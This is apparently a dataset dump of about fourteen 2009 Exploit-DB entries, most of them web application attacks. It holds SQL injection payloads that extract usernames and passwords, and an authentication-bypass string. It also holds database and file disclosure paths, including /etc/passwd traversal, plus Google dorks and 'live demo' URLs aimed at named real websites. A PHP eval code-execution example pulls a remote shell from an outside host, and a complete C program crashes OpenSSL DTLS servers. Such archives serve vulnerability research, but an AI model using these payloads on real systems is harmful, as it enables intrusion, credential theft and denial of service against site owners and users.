QLWD/code_shield huggingface dataset:
标题: VT-Auth 1.0 - 'zHk8dEes3.txt' File Disclosure EDB-ID: 8889 CVE: 2009-2024 类型: WEBAPPS 平台: ASP 发布日期: 2009-06-08 漏洞利用脚本: @~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG
@~~===============TURKISH=================~~@


@~~=======================================~~@
@~~=Script   : VT-Auth v1.0 

@~~=S.Site   : http://vt.rovno.info

@~~=Down.    : http://asp.html.it/script/script_3583.zip
@~~=======================================~~@

@~~=Vul

http://c4team.org/ [Yol] /zHk8dEes3.txt


@~~=Demo

http://vt.rovno.info/demos/vt_auth/zHk8dEes3.txt


              _.--"""""--._
            .'             '.
           /                 \
          ;       C4TEAM      ;
          |                   |
          |                   |
          ;                   ;                   ByALBAYX
           \ (`'--,    ,--'`) /
            \ \  _ )  ( _  / /                 WWW.C4TEAM.ORG
             ) )(')/  \(')( (
            (_ `""` /\ `""` _)
             \`"-, /  \ ,-"`/                       
              `\ / `""` \ /`
               |/\/\/\/\/\|                      
               |\        /|
               ; |/\/\/\| ;
                \`-`--`-`/
                 \      /
                  ',__,'
@~~=======================================~~@

@~~=:/

# milw0rm.com [2009-06-08] URL: https://www.exploit-db.com/exploits/8889
标题: MyCars Automotive - Authentication Bypass EDB-ID: 8886 CVE: 2009-2018 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-08 漏洞利用脚本: #-------------------------AllaH AkbaR-------------------------------
#MyCars Automotive (mls) (Auth Bypass) Remote Sql Injection
#-------------------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com
#Site:www.snakespc.com/
#Declaration/ Oh wait spiders ---->>>>EL AYAM BAYNANA  
#            Aflawa Kamikaz Wa4rin Fi kol Bla4s 
#-------------------------SNAKES TEAM-------------------------------
#
#Script:Hostplanet
#
#Demo:http://jaredeckersley.com/mycars/
#
#
#--------------------------SNAKES TEAM------------------------------
#Exploit:
#--------
#Demo:http://jaredeckersley.com/mycars/mls/demo/admin/index.php
#Username:admin' or '1=1 
#Password:Super Cristal
#-------------------------SNAKES TEAM-------------------------------
#Mr.HCOCA_MAN DrEaDFuL yassine_enp His0k4 ThE g0bL!N
#--------------------------SNAKES TEAM------------------------------
#ALL www.SnakespC.com/sc>>>> (  Members )  >>>>Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-06-08] URL: https://www.exploit-db.com/exploits/8886
标题: Virtue Classifieds - 'category' SQL Injection EDB-ID: 8892 CVE: 2009-2021 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-08 漏洞利用脚本: #################################################################################################################################################

CMS : Virtue Classifieds
WEB : http://www.virtuenetz.com/classified/
Archivo : search.php
Variable Tipo : GET
Valor : category
Tipo : SQL Injection
Url : http:/www.site.com/search.php?category=[SQLI]

PoC:

http:/www.site.com/search.php?category=2+and+1=0+union+select+all+1,2,concat_ws(0x3A,email,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users--

Gretz :
C1c4tr1z(voodoo-labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of Undersecurity.net.

100% CHILE
WWW.UNDERSECURITY.NET

##################################################################################################################################################

# milw0rm.com [2009-06-08] URL: https://www.exploit-db.com/exploits/8892
标题: FipsCMS Light 2.1 - 'db.mdb' Remote Database Disclosure EDB-ID: 8890 CVE: 2009-2022 类型: WEBAPPS 平台: ASP 发布日期: 2009-06-08 漏洞利用脚本: @~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG
@~~===============TURKISH=================~~@


@~~=======================================~~@
@~~=Script   : fipsCMS Light 2.1

@~~=S.Site   : http://fipsasp.com
@~~=======================================~~@

@~~=Vul      : http://c4team.org/ [Yol] /_fipsdb/db.mdb

@~~=Demo     : http://demo.fipsasp.com/fipsCMS_light/_fipsdb/db.mdb

              _.--"""""--._
            .'             '.
           /                 \
          ;       C4TEAM      ;
          |                   |
          |                   |
          ;                   ;                   ByALBAYX
           \ (`'--,    ,--'`) /
            \ \  _ )  ( _  / /                 WWW.C4TEAM.ORG
             ) )(')/  \(')( (
            (_ `""` /\ `""` _)
             \`"-, /  \ ,-"`/                       
              `\ / `""` \ /`
               |/\/\/\/\/\|                      
               |\        /|
               ; |/\/\/\| ;
                \`-`--`-`/
                 \      /
                  ',__,'
@~~=======================================~~@

@~~=:/

# milw0rm.com [2009-06-08] URL: https://www.exploit-db.com/exploits/8890
标题: Joomla! Component com_school 1.4 - 'classid' SQL Injection EDB-ID: 8891 CVE: 2009-2014 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-08 漏洞利用脚本: ----------------------------------------------------------------------
Joomla Component com_school (classid) SQL injection Vulnerability
----------------------------------------------------------------------

 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Group         :  LatinHackTeam
 [+] Vulnerability :  SQL injection
 ###################################################

________________________________________________________

Example:

 http://localHost/path/index.php?option=com_school&Itemid=null&func=showclass&classid=<sql Code>

 <Sql Code>:
 -null'+union+select+concat(username,0x3a,password)ChipD3Bi0s,null+from+jos_users/*
 

Demo Live:
http://www.mariadecervello.com/index.php?option=com_school&Itemid=null&func=showclass&classid=-null'+union+select+concat(username,0x3a,password)ChipD3Bi0s,null+from+jos_users/*


+++++++++++++++++++++++++++++++++
[!] Produced in South America
------------------------------------


<name>school</name>
<creationDate>18 July 2006</creationDate>
<author>Soner (pisdoktor) Ekici - Alex Chaparro</author>
<copyright>
This component in released under the GNU/GPL License
</copyright>
<authorEmail>damj3t@gmail.com</authorEmail>
<authorUrl>www.joomla.cl</authorUrl>
<version>1.4</version>

# milw0rm.com [2009-06-08] URL: https://www.exploit-db.com/exploits/8891
标题: Joomla! Component com_mosres - Multiple SQL Injections EDB-ID: 8872 CVE: 2009-4199 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-03 漏洞利用脚本: ==================================================================================
     Joomla Component com_mosres (property_uid) SQL injection Vulnerability
==================================================================================



###################################################
[+] Author        :  Chip D3 Bi0s
[+] Author Name   :  Russell...
[+] Email         :  chipdebios[alt+64]gmail.com
[+] Group         :  LatinHackTeam
[+] Vulnerability :  SQL injection 
[+] Google Dork   :  imagine ;)
[+] Email         :  chipdebios[alt+64]gmail.com

###################################################

Conditions        : magic_quotes_gpc = Off
---------------------------------------------------
Example Joomla:
http://localHost/path/index.php?option=com_mosres&task=viewproperty&property_uid=[SQL code]

[SQL code]:
null'+and+1=2+union+select+1,2,3,4,concat(username,0x3a,password)ChipD3Bi0s,6,7,8,9,10,11,12,13+from+jos_users/*

Live Demo:
http://ahtopolbg.com/index.php?option=com_mosres&catID=1004&regID=2&task=viewproperty&property_uid=null'+and+1=2+union+select+1,2,3,4,concat(username,0x3a,password)ChipD3Bi0s,6,7,8,9,10,11,12,13+from+jos_users/*

---------------------------------------------------
Example Mambo:
http://localHost/path/index.php?option=com_mosres&task=viewproperty&property_uid=[SQL code]

[SQL code]:
null'+and+1=2+union+select+1,2,3,4,concat(username,0x3a,password)ChipD3bi0s,6,7,8,9,10,11,12,13+from+mos_users/*

Live Demo:
http://www.velingradbg.com/index.php?option=com_mosres&task=viewproperty&property_uid=1005%27%20and%201=2%20union%20select%201,2,3,4,concat(username,0x3a,password)ChipD3bi0s,6,7,8,9,10,11,12,13+from+mos_users/*

**************************
however, still looking ... component, can be injected in several places (not all or always).
Almost always SQL injection & also blind sql injection.
I let you work ;)

http://www.ahtopolbg.com/index.php?option=com_mosres&task=showregion&regID=4%27+and+1=2+union%20select%201,concat(username,0x3a,password)+from+jos_users/*&lang=bg

**************************


+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++




<name>Mos Res</name>
<creationDate>23/02/2005</creationDate>
<author>Vince Wooll</author>
<copyright> This component is released under the GNU/GPL License </copyright>
<authorEmail>mosres@woollyinwales.co.uk</authorEmail>
<authorUrl>http://www.mosres.net</authorUrl>
<version>1.0f</version>
<description>Mambo Resident component for v4.5.2</description>

# milw0rm.com [2009-06-03] URL: https://www.exploit-db.com/exploits/8872
标题: Movie PHP Script 2.0 - 'init.php?anticode' Code Execution EDB-ID: 8871 CVE: 2009-4836 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-03 漏洞利用脚本: #################################################################################################################
[+] Movie PHP Script v2.0 Remote PHP Code Execution
[+] Discovered By SirGod 
[+] www.mortal-team.org
#################################################################################################################

[+] Remote PHP Code Execution

  - Vulnerable code in  system/services/init.php :

---------------------------------------------------------------------------------
Line 84 : @eval(stripslashes($_REQUEST['anticode']));
---------------------------------------------------------------------------------

- PoC : 

    http://127.0.0.1/[path/]system/services/init.php?anticode=[YOUR PHP CODE]

- Example : 

   http://127.0.0.1/path/system/services/init.php?anticode=include "http://www.darkmindz.com/shell/x2300_mod.txt";

- Example 2 :

  http://127.0.0.1/path/system/services/init.php?anticode=phpinfo();

#################################################################################################################

# milw0rm.com [2009-06-03] URL: https://www.exploit-db.com/exploits/8871
标题: Joomla! Component Omilen Photo Gallery 0.5b - Local File Inclusion EDB-ID: 8870 CVE: 2009-4202 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-03 漏洞利用脚本: @~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG
@~~===============TURKISH=================~~@


@~~=======================================~~@
@~~=Script   : Omilen Photo Gallery Beta 0.5

@~~=S.Site   : http://omilenitsolutions.com
@~~=======================================~~@

@~~=Vul      :

@~~=http://c4team.org/ [Yol] /index.php?option=com_omphotogallery&controller= [-LFI-]

@~~=Dork     : inurl:"com_omphotogallery"

@~~=http://kht.by.ru/Google.txt

@~~=Vs..
              _.--"""""--._
            .'             '.
           /                 \
          ;       C4TEAM      ;
          |                   |
          |                   |
          ;                   ;                   ByALBAYX
           \ (`'--,    ,--'`) /
            \ \  _ )  ( _  / /                 WWW.C4TEAM.ORG
             ) )(')/  \(')( (
            (_ `""` /\ `""` _)
             \`"-, /  \ ,-"`/                       
              `\ / `""` \ /`
               |/\/\/\/\/\|                      
               |\        /|
               ; |/\/\/\| ;
                \`-`--`-`/
                 \      /
                  ',__,'
@~~=======================================~~@

@~~=:/

# milw0rm.com [2009-06-03] URL: https://www.exploit-db.com/exploits/8870
标题: Online Armor < 3.5.0.12 - 'OAmon.sys' Local Privilege Escalation EDB-ID: 8875 CVE: 2009-2450 类型: LOCAL 平台: WINDOWS 发布日期: 2009-06-04 漏洞利用脚本: ////////////////////////////////////////////////////////////////////////////////////
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | Tall Emu Pty Ltd - http://www.tallemu.com/                                 | //
// |                                                                            | //
// | Affected Software:                                                         | //
// | Online Armor Personal Firewall v3.5 < 3.5.0.12                             | //
// | Online Armor Personal Firewall AV+ < 3.5.0.12                              | //
// |                                                                            | //
// | Affected Driver:                                                           | //
// | TDI Helper Driver - OAmon.sys <= 3.1.0.0                                   | //
// |                                                                            | //
// | Local Privilege Escalation Exploit                                         | //
// | For Educational Purposes Only !                                            | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | NT Internals - http://www.ntinternals.org/                                 | //
// | alex ntinternals org                                                       | //
// | 25 May 2009                                                                | //
// |                                                                            | //
// | References:                                                                | //
// | Online Armor (OAmon.sys) Multiple Privilege Escalation Vulnerabilities     | //
// | NTIADV0806 - http://www.ntinternals.org/ntiadv0806/ntiadv0806.html         | //
// |                                                                            | //
// | Exploiting Common Flaws in Drivers                                         | //
// | Ruben Santamarta - http://www.reversemode.com/                             | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
////////////////////////////////////////////////////////////////////////////////////

Exploit:
http://ntinternals.org/ntiadv0806/OAmon_Exp.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8875.zip (2009-OAmon_Exp.zip)

Advisory:
http://www.ntinternals.org/ntiadv0806/ntiadv0806.html

# milw0rm.com [2009-06-04] URL: https://www.exploit-db.com/exploits/8875
标题: OpenSSL < 0.9.8i - DTLS ChangeCipherSpec Remote Denial of Service EDB-ID: 8873 CVE: 2009-1386 类型: DOS 平台: MULTIPLE 发布日期: 2009-06-04 漏洞利用脚本: /*
 * cve-2009-1386.c
 *
 * OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1386
 *
 *   OpenSSL would SegFault if the DTLS server receives a ChangeCipherSpec as
 *   the first record instead of ClientHello.
 *
 * Usage:
 *
 *   Pass the host and port of the target DTLS server:
 *
 *   $ gcc cve-2009-1386.c -o cve-2009-1386
 *   $ ./cve-2009-1386 1.2.3.4 666
 *
 * Notes:
 *
 *   Much easier than the memory exhaustion DoS issue (CVE-2009-1378) as this 
 *   only requires a single ChangeCipherSpec datagram, but affects an older 
 *   version of OpenSSL.
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>

int
main(int argc, char **argv)
{
 int sock, ret;
 char *ptr, *err;
 struct hostent *h;
 struct sockaddr_in target;
 char buf[64];

 if (argc < 3) {
  err = "Pass the host and port of the target DTLS server";
  printf("[-] Error: %s\n", err);
  exit(1);
 }

 h = gethostbyname(argv[1]);
 if (!h) {
  err = "Unknown host specified";
  printf("[-] Error: %s (%s)\n", err, strerror(errno));
  exit(1);
 }

 target.sin_family = h->h_addrtype;
 memcpy(&target.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
 target.sin_port = htons(atoi(argv[2]));

 sock = socket(AF_INET, SOCK_DGRAM, 0);
 if (sock == -1) {
  err = "Failed creating UDP socket";
  printf("[-] Error: %s (%s)\n", err, strerror(errno));
  exit(1);
 }

 ret = connect(sock, (struct sockaddr *) &target, sizeof(target));
 if (ret == -1) {
  err = "Failed to connect socket";
  printf("[-] Error: %s (%s)\n", err, strerror(errno));
  exit(1);
 }

 memcpy(buf, "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01", 14);

 printf("[+] Sending DTLS datagram of death at %s:%s...\n", argv[1], argv[2]);

 send(sock, buf, 14, 0);

 close(sock);

 return 0;
}

// milw0rm.com [2009-06-04] URL: https://www.exploit-db.com/exploits/8873
标题: OCS Inventory NG 1.02 - Remote File Disclosure EDB-ID: 8868 CVE: 2009-2166 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-03 漏洞利用脚本: OCS Inventory NG - Directory Traversal  (May 30 2009)
_______________________________________________________________________________


* Product

  Open Computer and Software (OCS) Inventory NG
  (http://www.ocsinventory-ng.org)


* Vulnerable Versions

  OCS Inventory NG 1.02 (Unix)


* Vendor Status

  Vendor has been notified and the vulnerability has been fixed in
version 1.02.1.


* Details

  The Open Computer and Software (OCS) Inventory Next Generation (NG)
provides relevant inventory information about system configurations and
software on the network. The server can be managed using a web
interface. It is possible for unauthenticated users to extract arbitrary
files from the hosting system due to inadequate file handling in cvs.php.

  cvs.php:

  } elseif (isset($_GET['log'])){
   if (file_exists($_GET['rep'].$_GET['log'])){
    $tab = file($_GET['rep'].$_GET['log']);
    while(list($cle,$val) = each($tab)) {
       $toBeWritten  .= $val."\r\n";
    }
    $filename=$_GET['log'];
   }
  }


* Impact

  Attackers may be able to read arbitrary files from the hosting system.


* Exploit

  The vulnerability can be exploited by just using a web browser:

 http://example.org/ocsreports/cvs.php?log=/etc/passwd

# milw0rm.com [2009-06-03] URL: https://www.exploit-db.com/exploits/8868
标题: WebEyes Guest Book 3 - 'yorum.asp?mesajid' SQL Injection EDB-ID: 8859 CVE: 2009-1950 类型: WEBAPPS 平台: ASP 发布日期: 2009-06-02 漏洞利用脚本: 000000  00000     0000    0000  000  00 000000  0000000   0000  000000  00000
 0    0   0      0    0  0    0  0   0   0    0  0    0  0    0  0    0  0   0
 0    0   0     0  00 0 0        0  0    0    0  0      0  00 0  0    0  0    0
 0    0   0     0 0 0 0 0        0  0    0    0  0  0   0 0 0 0  0    0  0    0
 00000    0     0 0 0 0 0        0 0     00000   0000   0 0 0 0  00000   0    0
 0    0   0     0 0 0 0 0        000     0    0  0  0   0 0 0 0  0  0    0    0
 0    0   0     0  000  0        0  0    0    0  0      0  000   0  0    0    0
 0    0   0   0  0       0    0  0   0   0    0  0    0  0       0   0   0   0
000000  0000000   000     0000  000  00 000000  0000000   000   000  00 00000


(
[+] Script               : WEBEYES GUEST BOOK v.3 

[+] Exploit Type         : Remote sql injection exploit

[+] Google Dork          : intitle:WEBEYES GUEST BOOK     inurl:.asp?id=

[+] Contact              : blackbeard-sql A.T hotmail.fr 

--//--> Exploit : 

Remote sql injection Exploit :

http://[website]/[script]/yorum.asp?mesajid=11+union+select+0+from+msysobjects

[peace xD]

# milw0rm.com [2009-06-02] URL: https://www.exploit-db.com/exploits/8859
标题: My Mini Bill - 'orderid' SQL Injection EDB-ID: 8864 CVE: 2009-4198 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-03 漏洞利用脚本: My MiniBill (my_orders.php) Remote SQL Injection
Founder: ThE g0bL!N
------
Home: http:/www.4ckx.com/dz/
----
Vendor:http://cupidsystems.com
------
More info:http://cupidsystems.com/products/myminibill/index.php
--------
Note: First You must register in the site  [path]/register.php
Then Go To exploit:
------------------
http://victim/[path]/my_orders.php?action=status&orderid=-68+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8,9--
Login Information:
-----------------
For:
username: http://site/my_orders.php?action=status&orderid=-68+union+select+1,2,3,username,5,6,7,8,9+from+dbminibill.tblorders+limit+0,1
Password: http://site/my_orders.php?action=status&orderid=-68+union+select+1,2,3,adminpassword,5,6,7,8,9+from+tblgeneral
Demo:
http://cupidsystems.com/products/myminibill/demo/
Note: ALgerie en Coupe Du Monde In shaa ALLAH*
################################################################################################

# milw0rm.com [2009-06-03] URL: https://www.exploit-db.com/exploits/8864
标题: WebCal - 'webCal3_detail.asp?event_id' SQL Injection EDB-ID: 8857 CVE: 2009-1945 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-02 漏洞利用脚本: 000000  00000     0000    0000  000  00 000000  0000000   0000  000000  00000
 0    0   0      0    0  0    0  0   0   0    0  0    0  0    0  0    0  0   0
 0    0   0     0  00 0 0        0  0    0    0  0      0  00 0  0    0  0    0
 0    0   0     0 0 0 0 0        0  0    0    0  0  0   0 0 0 0  0    0  0    0
 00000    0     0 0 0 0 0        0 0     00000   0000   0 0 0 0  00000   0    0
 0    0   0     0 0 0 0 0        000     0    0  0  0   0 0 0 0  0  0    0    0
 0    0   0     0  000  0        0  0    0    0  0      0  000   0  0    0    0
 0    0   0   0  0       0    0  0   0   0    0  0    0  0       0   0   0   0
000000  0000000   000     0000  000  00 000000  0000000   000   000  00 00000


(
[+] Script               : WebCal       (latest version) 

[+] Exploit Type         : Remote sql injection exploit

[+] Google Dork          : inurl:/webCal3_detail.asp?event_id=

[+] Contact              : blackbeard-sql A.T hotmail.fr 

--//--> Exploit : 

Remote sql injection Exploit :

http://[website]/[script]/webCal3_detail.asp?event_id=20814+union+select+1,2,3,4,5,6,7,8,9,10+from+msysobjects

[peace xD]

# milw0rm.com [2009-06-02] URL: https://www.exploit-db.com/exploits/8857